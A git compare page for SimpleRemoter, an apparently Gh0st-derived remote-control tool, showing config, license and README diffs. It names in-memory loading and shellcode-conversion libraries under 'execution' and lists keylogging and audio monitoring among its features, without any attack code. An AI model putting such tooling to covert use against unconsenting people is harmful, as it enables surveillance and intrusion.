Compare commits
37 Commits
ccab37658a
...
v1.3.5
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
da024fb3fb | ||
|
|
a5a04aaab7 | ||
|
|
c846d11efa | ||
|
|
9fe8ab746a | ||
|
|
8c7f612449 | ||
|
|
d1aa7a2c02 | ||
|
|
c0a632a4c6 | ||
|
|
085543b0f1 | ||
|
|
1fd431ba76 | ||
|
|
268a427172 | ||
|
|
620aaf6827 | ||
|
|
d6fb612475 | ||
|
|
54c88539e5 | ||
|
|
92bf9c9ccb | ||
|
|
99fc15ae41 | ||
|
|
62e962f216 | ||
|
|
740ec8baf3 | ||
|
|
83d671c90f | ||
|
|
5b7d3903b5 | ||
|
|
da443283f2 | ||
|
|
e5bb405f79 | ||
|
|
6e743ada0b | ||
|
|
d808462fe1 | ||
|
|
e264e092f6 | ||
|
|
707dcdbbb4 | ||
|
|
1c1bb3a5ff | ||
|
|
cd43caafb2 | ||
|
|
d757c33bcb | ||
| 5af017bf09 | |||
|
|
32a75f4670 | ||
|
|
d7f38ecfdb | ||
|
|
6485e800d6 | ||
|
|
fba4143dd1 | ||
|
|
4ea6ed252c | ||
|
|
534d3650c4 | ||
|
|
2ed86b5e08 | ||
|
|
8dd1c936e2 |
4
.gitattributes
vendored
@@ -1,6 +1,10 @@
|
|||||||
# Auto detect text files and perform LF normalization
|
# Auto detect text files and perform LF normalization
|
||||||
* text=auto
|
* text=auto
|
||||||
|
|
||||||
|
# Shell scripts must keep LF line endings even when checked out on Windows,
|
||||||
|
# otherwise Linux refuses them with "bad interpreter: /usr/bin/env^M".
|
||||||
|
*.sh text eol=lf
|
||||||
|
|
||||||
# Custom for Visual Studio
|
# Custom for Visual Studio
|
||||||
*.cs diff=csharp
|
*.cs diff=csharp
|
||||||
|
|
||||||
|
|||||||
5
.gitignore
vendored
@@ -81,6 +81,7 @@ Releases/*
|
|||||||
linux/Makefile
|
linux/Makefile
|
||||||
linux/cmake_install.cmake
|
linux/cmake_install.cmake
|
||||||
.vs
|
.vs
|
||||||
|
client/ghost_vs2015.vcxproj.user
|
||||||
docs/macOS_Support_Design.md
|
docs/macOS_Support_Design.md
|
||||||
settings.local.json
|
settings.local.json
|
||||||
*.zip
|
*.zip
|
||||||
@@ -90,3 +91,7 @@ YAMA.code-workspace
|
|||||||
.vscode/settings.json
|
.vscode/settings.json
|
||||||
Bin/*
|
Bin/*
|
||||||
nul
|
nul
|
||||||
|
server/go/web/assets/index.html
|
||||||
|
server/go/users.json
|
||||||
|
server/go/build/
|
||||||
|
server/go/.claude/settings.json
|
||||||
|
|||||||
@@ -11,6 +11,14 @@
|
|||||||
- [jpeg v3.1.1](https://github.com/libjpeg-turbo/libjpeg-turbo)
|
- [jpeg v3.1.1](https://github.com/libjpeg-turbo/libjpeg-turbo)
|
||||||
- [opus-1.6.1](https://opus-codec.org/release/stable/2026/01/14/libopus-1_6_1.html)
|
- [opus-1.6.1](https://opus-codec.org/release/stable/2026/01/14/libopus-1_6_1.html)
|
||||||
- [libpeconv c7d1e48](https://github.com/hasherezade/libpeconv)
|
- [libpeconv c7d1e48](https://github.com/hasherezade/libpeconv)
|
||||||
|
- [libvpl v2.16.0](https://github.com/intel/libvpl)
|
||||||
|
- [dav1d 62501cc](https://github.com/videolan/dav1d)
|
||||||
|
|
||||||
|
## execution
|
||||||
|
|
||||||
|
- [MemoryModule](https://github.com/fancycode/MemoryModule.git)
|
||||||
|
- [sRDI](https://github.com/Drewsif/sRDI.git)
|
||||||
|
- [pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode.git)
|
||||||
|
|
||||||
## *Note*
|
## *Note*
|
||||||
|
|
||||||
|
|||||||
279
LICENSE-THIRD-PARTY.txt
Normal file
@@ -0,0 +1,279 @@
|
|||||||
|
THIRD-PARTY SOFTWARE NOTICES AND LICENSES
|
||||||
|
|
||||||
|
This document contains intellectual property notices and license information for
|
||||||
|
third-party software components used in this product.
|
||||||
|
|
||||||
|
================================================================================
|
||||||
|
SUMMARY OF LICENSE TYPES
|
||||||
|
================================================================================
|
||||||
|
The third-party components included in this software are governed by the following
|
||||||
|
open-source licenses. For complete compliance, ensure that any modifications to
|
||||||
|
LGPL and MPL covered components are made available under their respective terms,
|
||||||
|
and this text file is distributed with your software product.
|
||||||
|
|
||||||
|
1. Zlib License
|
||||||
|
- zlib v1.3.2
|
||||||
|
2. BSD 3-Clause License
|
||||||
|
- zstd v1.5.7
|
||||||
|
- libyuv v190
|
||||||
|
- jpeg (libjpeg-turbo) v3.1.1
|
||||||
|
- opus-1.6.1
|
||||||
|
3. BSD 2-Clause License
|
||||||
|
- libpeconv c7d1e48
|
||||||
|
- pe_to_shellcode
|
||||||
|
4. MIT License
|
||||||
|
- jsoncpp v1.9.6
|
||||||
|
- sRDI
|
||||||
|
5. GNU Lesser General Public License v2.1 (LGPL v2.1)
|
||||||
|
- ffmpeg v7.1 (Compiled in shared, non-GPL mode)
|
||||||
|
6. Mozilla Public License v2.0 (MPL 2.0)
|
||||||
|
- MemoryModule
|
||||||
|
|
||||||
|
================================================================================
|
||||||
|
1. zlib v1.3.2 (Zlib License)
|
||||||
|
================================================================================
|
||||||
|
Copyright (C) 1995-2024 Jean-loup Gailly and Mark Adler
|
||||||
|
|
||||||
|
This software is provided 'as-is', without any express or implied
|
||||||
|
warranty. In no event will the authors be held liable for any damages
|
||||||
|
arising from the use of this software.
|
||||||
|
|
||||||
|
Permission is granted to anyone to use this software for any purpose,
|
||||||
|
including commercial applications, and to alter it and redistribute it
|
||||||
|
freely, subject to the following restrictions:
|
||||||
|
|
||||||
|
1. The origin of this software must not be misrepresented; you must not
|
||||||
|
claim that you wrote the original software. If you use this software
|
||||||
|
in a product, an acknowledgment in the product documentation would be
|
||||||
|
appreciated but is not required.
|
||||||
|
2. Altered source versions must be plainly marked as such, and must not be
|
||||||
|
misrepresented as being the original software.
|
||||||
|
3. This notice may not be removed or altered from any source distribution.
|
||||||
|
|
||||||
|
================================================================================
|
||||||
|
2. zstd v1.5.7 (BSD 3-Clause License)
|
||||||
|
================================================================================
|
||||||
|
Copyright (c) 2016-present, Facebook, Inc. All rights reserved.
|
||||||
|
|
||||||
|
Redistribution and use in source and binary forms, with or without modification,
|
||||||
|
are permitted provided that the following conditions are met:
|
||||||
|
|
||||||
|
* Redistributions of source code must retain the above copyright notice, this
|
||||||
|
list of conditions and the following disclaimer.
|
||||||
|
|
||||||
|
* Redistributions in binary form must reproduce the above copyright notice,
|
||||||
|
this list of conditions and the following disclaimer in the documentation
|
||||||
|
and/or other materials provided with the distribution.
|
||||||
|
|
||||||
|
* Neither the name Facebook nor the names of its contributors may be used to
|
||||||
|
endorse or promote products derived from this software without specific
|
||||||
|
prior written permission.
|
||||||
|
|
||||||
|
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||||
|
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||||
|
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||||
|
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
|
||||||
|
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||||
|
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||||
|
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
|
||||||
|
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||||
|
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||||
|
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
|
||||||
|
================================================================================
|
||||||
|
3. libyuv v190 (BSD 3-Clause License)
|
||||||
|
================================================================================
|
||||||
|
Copyright 2011 The LibYuv Project Authors. All rights reserved.
|
||||||
|
|
||||||
|
Redistribution and use in source and binary forms, with or without modification,
|
||||||
|
are permitted provided that the following conditions are met:
|
||||||
|
|
||||||
|
* Redistributions of source code must retain the above copyright notice, this
|
||||||
|
list of conditions and the following disclaimer.
|
||||||
|
|
||||||
|
* Redistributions in binary form must reproduce the above copyright notice,
|
||||||
|
this list of conditions and the following disclaimer in the documentation
|
||||||
|
and/or other materials provided with the distribution.
|
||||||
|
|
||||||
|
* Neither the name of Google nor the names of its contributors may be used to
|
||||||
|
endorse or promote products derived from this software without specific
|
||||||
|
prior written permission.
|
||||||
|
|
||||||
|
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||||
|
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||||
|
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||||
|
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
|
||||||
|
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||||
|
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||||
|
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
|
||||||
|
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||||
|
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||||
|
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
|
||||||
|
================================================================================
|
||||||
|
4. jpeg (libjpeg-turbo) v3.1.1 (BSD 3-Clause / IJG License)
|
||||||
|
================================================================================
|
||||||
|
Copyright (C) 2009-2024 D. R. Commander. All Rights Reserved.
|
||||||
|
Copyright (C) 2015 Viktor Szathmáry. All Rights Reserved.
|
||||||
|
|
||||||
|
Redistribution and use in source and binary forms, with or without modification,
|
||||||
|
are permitted provided that the following conditions are met:
|
||||||
|
|
||||||
|
- Redistributions of source code must retain the above copyright notice, this
|
||||||
|
list of conditions and the following disclaimer.
|
||||||
|
- Redistributions in binary form must reproduce the above copyright notice,
|
||||||
|
this list of conditions and the following disclaimer in the documentation
|
||||||
|
and/or other materials provided with the distribution.
|
||||||
|
- Neither the name of the libjpeg-turbo Project nor the names of its
|
||||||
|
contributors may be used to endorse or promote products derived from this
|
||||||
|
software without specific prior written permission.
|
||||||
|
|
||||||
|
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||||
|
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||||
|
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||||
|
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
|
||||||
|
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||||
|
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||||
|
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
|
||||||
|
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||||
|
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||||
|
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
|
||||||
|
================================================================================
|
||||||
|
5. opus-1.6.1 (BSD 3-Clause License)
|
||||||
|
================================================================================
|
||||||
|
Copyright 2001-2011 Xiph.Org, Skype Limited, Octasic,
|
||||||
|
Jean-Marc Valin, Timothy B. Terriberry,
|
||||||
|
CSIRO, Gregory Maxwell, Mark Borgerding,
|
||||||
|
Erik de Castro Lopo
|
||||||
|
|
||||||
|
Redistribution and use in source and binary forms, with or without
|
||||||
|
modification, are permitted provided that the following conditions
|
||||||
|
are met:
|
||||||
|
|
||||||
|
- Redistributions of source code must retain the above copyright
|
||||||
|
notice, this list of conditions and the following disclaimer.
|
||||||
|
|
||||||
|
- Redistributions in binary form must reproduce the above copyright
|
||||||
|
notice, this list of conditions and the following disclaimer in the
|
||||||
|
documentation and/or other materials provided with the distribution.
|
||||||
|
|
||||||
|
- Neither the name of the Xiph.Org Foundation nor the names of its
|
||||||
|
contributors may be used to endorse or promote products derived from
|
||||||
|
this software without specific prior written permission.
|
||||||
|
|
||||||
|
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||||
|
``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||||
|
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||||
|
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION
|
||||||
|
OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||||
|
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||||
|
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||||
|
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||||
|
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||||
|
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
|
||||||
|
================================================================================
|
||||||
|
6. libpeconv c7d1e48 & pe_to_shellcode (BSD 2-Clause License)
|
||||||
|
================================================================================
|
||||||
|
Copyright (c) 2020, hasherezade
|
||||||
|
All rights reserved.
|
||||||
|
|
||||||
|
Redistribution and use in source and binary forms, with or without
|
||||||
|
modification, are permitted provided that the following conditions are met:
|
||||||
|
|
||||||
|
1. Redistributions of source code must retain the above copyright notice, this
|
||||||
|
list of conditions and the following disclaimer.
|
||||||
|
|
||||||
|
2. Redistributions in binary form must reproduce the above copyright notice,
|
||||||
|
this list of conditions and the following disclaimer in the documentation
|
||||||
|
and/or other materials provided with the distribution.
|
||||||
|
|
||||||
|
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||||
|
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||||
|
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||||
|
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||||
|
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||||
|
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||||
|
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||||
|
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||||
|
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||||
|
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
|
||||||
|
================================================================================
|
||||||
|
7. jsoncpp v1.9.6 (MIT License)
|
||||||
|
================================================================================
|
||||||
|
Copyright (c) 2007-2010 The JsonCpp Authors
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in
|
||||||
|
all copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||||
|
THE SOFTWARE.
|
||||||
|
|
||||||
|
================================================================================
|
||||||
|
8. sRDI (MIT License)
|
||||||
|
================================================================================
|
||||||
|
Copyright (c) 2017 Drewsif
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE.
|
||||||
|
|
||||||
|
================================================================================
|
||||||
|
9. ffmpeg v7.1 (GNU Lesser General Public License v2.1)
|
||||||
|
================================================================================
|
||||||
|
This software uses libraries from the FFmpeg project (v7.1), licensed under the
|
||||||
|
GNU Lesser General Public License (LGPL) version 2.1.
|
||||||
|
FFmpeg is a trademark of Fabrice Bellard, originator of the FFmpeg project.
|
||||||
|
|
||||||
|
Our product links to FFmpeg dynamically as a shared library (.dll/.so/.dylib)
|
||||||
|
and does NOT enable any GPL-licensed plugins (such as x264).
|
||||||
|
|
||||||
|
The source code of FFmpeg v7.1 can be obtained from the official FFmpeg
|
||||||
|
website (https://ffmpeg.org). If you require the exact build script and build
|
||||||
|
configuration used by our product to build the FFmpeg binary, please contact
|
||||||
|
our open-source compliance team.
|
||||||
|
|
||||||
|
================================================================================
|
||||||
|
10. MemoryModule (Mozilla Public License v2.0)
|
||||||
|
================================================================================
|
||||||
|
This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0.
|
||||||
|
If a copy of the MPL was not distributed with this file, You can obtain one at
|
||||||
|
http://mozilla.org/MPL/2.0/.
|
||||||
|
|
||||||
|
MemoryModule is Copyright (c) Joachim Bauch.
|
||||||
|
|
||||||
|
Under the terms of the MPL 2.0, you may distribute this component as part of
|
||||||
|
your commercial/proprietary application without being required to open-source
|
||||||
|
your own proprietary code, provided that:
|
||||||
|
1. MemoryModule source files remain unmodified, or if modified, those modifications
|
||||||
|
are made available under the MPL 2.0.
|
||||||
|
2. Users are informed that MemoryModule is used and where they can find its source.
|
||||||
808
ReadMe.md
@@ -9,18 +9,18 @@
|
|||||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/network/members">
|
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/network/members">
|
||||||
<img src="https://img.shields.io/github/forks/yuanyuanxiang/SimpleRemoter?style=flat-square&logo=github" alt="GitHub Forks">
|
<img src="https://img.shields.io/github/forks/yuanyuanxiang/SimpleRemoter?style=flat-square&logo=github" alt="GitHub Forks">
|
||||||
</a>
|
</a>
|
||||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases">
|
<a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases">
|
||||||
<img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release">
|
<img src="https://img.shields.io/gitea/v/release/yuanyuanxiang/SimpleRemoter?gitea_url=https%3A%2F%2Fgit.simpleremoter.com&style=flat-square&logo=gitea" alt="Gitea Release">
|
||||||
</a>
|
</a>
|
||||||
<img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Platform">
|
<img src="https://img.shields.io/badge/client-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Client Platforms">
|
||||||
<img src="https://img.shields.io/badge/language-C%2B%2B17-orange?style=flat-square&logo=cplusplus" alt="Language">
|
<img src="https://img.shields.io/badge/server-Windows%20%7C%20Linux%20%7C%20macOS-success?style=flat-square" alt="Server Platforms">
|
||||||
<img src="https://img.shields.io/badge/IDE-VS2019%2B-purple?style=flat-square&logo=visualstudio" alt="IDE">
|
<img src="https://img.shields.io/badge/language-C%2B%2B17%20%2F%20Go-orange?style=flat-square&logo=cplusplus" alt="Language">
|
||||||
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
|
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
|
||||||
</p>
|
</p>
|
||||||
|
|
||||||
<p align="center">
|
<p align="center">
|
||||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases/latest">
|
<a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases/latest">
|
||||||
<img src="https://img.shields.io/badge/Download-最新版本-2ea44f?style=for-the-badge&logo=github" alt="Download Latest">
|
<img src="https://img.shields.io/badge/Download-最新版本-2ea44f?style=for-the-badge&logo=gitea" alt="Download Latest">
|
||||||
</a>
|
</a>
|
||||||
</p>
|
</p>
|
||||||
|
|
||||||
@@ -29,10 +29,7 @@
|
|||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> **重要法律声明**
|
> **重要法律声明**
|
||||||
>
|
>
|
||||||
> 本软件**仅供教育目的及授权使用场景**,包括:
|
> 本软件**仅供教育目的及授权使用场景**:组织内远程 IT 管理、经授权的渗透测试与安全研究、个人设备管理与技术学习。
|
||||||
> - 在您的组织内进行远程 IT 管理
|
|
||||||
> - 经授权的渗透测试和安全研究
|
|
||||||
> - 个人设备管理和技术学习
|
|
||||||
>
|
>
|
||||||
> **未经授权访问计算机系统属违法行为。** 使用者须对遵守所有适用法律承担全部责任。开发者对任何滥用行为概不负责。
|
> **未经授权访问计算机系统属违法行为。** 使用者须对遵守所有适用法律承担全部责任。开发者对任何滥用行为概不负责。
|
||||||
|
|
||||||
@@ -41,13 +38,13 @@
|
|||||||
## 目录
|
## 目录
|
||||||
|
|
||||||
- [项目简介](#项目简介)
|
- [项目简介](#项目简介)
|
||||||
- [免责声明](#免责声明)
|
- [本版本亮点:全平台闭环](#本版本亮点全平台闭环)
|
||||||
|
- [合规与反滥用](#合规与反滥用)
|
||||||
- [功能特性](#功能特性)
|
- [功能特性](#功能特性)
|
||||||
- [技术亮点](#技术亮点)
|
- [全平台支持](#全平台支持)
|
||||||
- [系统架构](#系统架构)
|
- [系统架构](#系统架构)
|
||||||
- [快速开始](#快速开始)
|
- [快速开始](#快速开始)
|
||||||
- [用户文档](#用户文档)
|
- [用户文档](#用户文档)
|
||||||
- [客户端支持](#客户端支持)
|
|
||||||
- [更新日志](#更新日志)
|
- [更新日志](#更新日志)
|
||||||
- [相关项目](#相关项目)
|
- [相关项目](#相关项目)
|
||||||
- [联系方式](#联系方式)
|
- [联系方式](#联系方式)
|
||||||
@@ -56,25 +53,9 @@
|
|||||||
|
|
||||||
## 项目简介
|
## 项目简介
|
||||||
|
|
||||||
**SimpleRemoter** 是一个功能完整的远程控制解决方案,基于经典的 Gh0st 框架重构,采用现代 C++17 开发。项目始于 2019 年,经过持续迭代已发展为支持 **Windows + Linux + macOS** 三平台的企业级远程管理工具。
|
**SimpleRemoter** 是一个端到端跨平台的远程控制解决方案。
|
||||||
|
|
||||||
### 核心能力
|
项目核心基于经典 **Gh0st 架构**,最早始于 2019 年 1 月。历经 7 年持续迭代——从 IOCP 通信内核重构、x264 视频级编码、V2 文件传输协议、多层授权体系,到 Linux 与 macOS 客户端的引入——本版本最终完成**客户端 + 服务端的全平台闭环**:三大桌面操作系统(Windows / Linux / macOS)在任一侧都可作为受控端或主控端。
|
||||||
|
|
||||||
| 类别 | 功能 |
|
|
||||||
|------|------|
|
|
||||||
| **远程桌面** | 实时屏幕控制、多显示器支持、H.264 编码、自适应质量 |
|
|
||||||
| **文件管理** | 双向传输、断点续传、C2C 传输、SHA-256 校验 |
|
|
||||||
| **终端管理** | 交互式 Shell、ConPTY/PTY 支持、现代 Web 终端 |
|
|
||||||
| **系统管理** | 进程/服务/窗口管理、注册表浏览、会话控制 |
|
|
||||||
| **媒体采集** | 摄像头监控、音频监听、键盘记录 |
|
|
||||||
| **网络功能** | SOCKS 代理、FRP 穿透、端口映射 |
|
|
||||||
|
|
||||||
### 适用场景
|
|
||||||
|
|
||||||
- **企业 IT 运维**:批量管理内网设备,远程故障排查
|
|
||||||
- **远程办公**:安全访问办公电脑,文件同步传输
|
|
||||||
- **安全研究**:渗透测试、红队演练、安全审计
|
|
||||||
- **技术学习**:网络编程、IOCP 模型、加密传输实践
|
|
||||||
|
|
||||||
**原始来源:** [zibility/Remote](https://github.com/zibility/Remote) | **起始日期:** 2019.1.1
|
**原始来源:** [zibility/Remote](https://github.com/zibility/Remote) | **起始日期:** 2019.1.1
|
||||||
|
|
||||||
@@ -82,36 +63,73 @@
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## 免责声明
|
## 本版本亮点:全平台闭环
|
||||||
|
|
||||||
**请在使用本软件前仔细阅读以下声明:**
|
本项目长期以 **C++ MFC 主控**(`YAMA.exe`)为核心交付形态——经典 Gh0st 架构、IOCP 高性能内核、完整的远程桌面 / 文件 / 进程 / 媒体功能栈、多层授权体系、品牌定制——**至今仍是主要使用的主控**。MFC 主控内置了基于 WebSocket 的 Web 远程桌面服务,从 v1.3.1 起就已经支持**任意平台的浏览器**远控被管设备(手机/平板/Linux/macOS 桌面均可)。
|
||||||
|
|
||||||
1. **合法用途**:本项目仅供合法的技术研究、学习交流和授权的远程管理使用。严禁将本软件用于未经授权访问他人计算机系统、窃取数据、监控他人隐私等任何违法行为。
|
本版本(v1.3.4)补上了最后一块拼图——**Go 主控**:一个**功能简单、聚焦于"远程桌面 + 远程终端 + 多用户分级"** 的轻量服务端,跨 Windows / Linux / macOS 编译运行。它的定位**不是替代 MFC**,而是为那些**不便于跑 Windows VPS** 的用户提供一个原生的 Linux/macOS 主控落点——例如纯 Linux 服务器、ARM Mac 长驻、嵌入式主控箱等场景。
|
||||||
|
|
||||||
2. **使用者责任**:使用者必须遵守所在国家/地区的法律法规。因使用本软件而产生的任何法律责任,由使用者自行承担。
|
### 两种主控形态如何选择
|
||||||
|
|
||||||
3. **无担保声明**:本软件按"现状"提供,不附带任何明示或暗示的担保,包括但不限于适销性、特定用途适用性的担保。
|
| 形态 | GUI | 功能覆盖 | 平台 | 定位 |
|
||||||
|
|---|---|---|---|---|
|
||||||
|
| **C++ MFC 主控** (`YAMA.exe`) | 原生 Windows GUI + 内置 Web 服务 | ✅ **全部功能** | Windows | **主推方案**。日常运维、文件管理、媒体采集、多层授权、品牌定制等都用它 |
|
||||||
|
| **Go 主控**(新) | Web UI(任何浏览器) | 远程桌面 + 远程终端 + 多用户 | Windows / Linux / macOS | **补充方案**。需要"零 Windows 依赖"的纯 Linux/macOS 主控部署 |
|
||||||
|
|
||||||
4. **免责条款**:开发者不对因使用、误用或无法使用本软件而造成的任何直接、间接、偶然、特殊或后果性损害承担责任。
|
> [!TIP]
|
||||||
|
> 两种主控**用的是同一套客户端**——可以混搭,例如一台 Windows MFC 主控 + 一台 Linux Go 主控并行管理同一批设备群。
|
||||||
|
|
||||||
5. **版权声明**:本项目采用 MIT 协议开源,允许自由使用、修改和分发,但必须保留原始版权声明。
|
### Go 主控的核心能力(v1.3.4 新增)
|
||||||
|
|
||||||
**继续使用本软件即表示您已阅读、理解并同意上述所有条款。**
|
- **远程桌面**:H.264 流通过 WebSocket 直发浏览器,WebCodecs 硬解,1080P @ 20fps 流畅
|
||||||
|
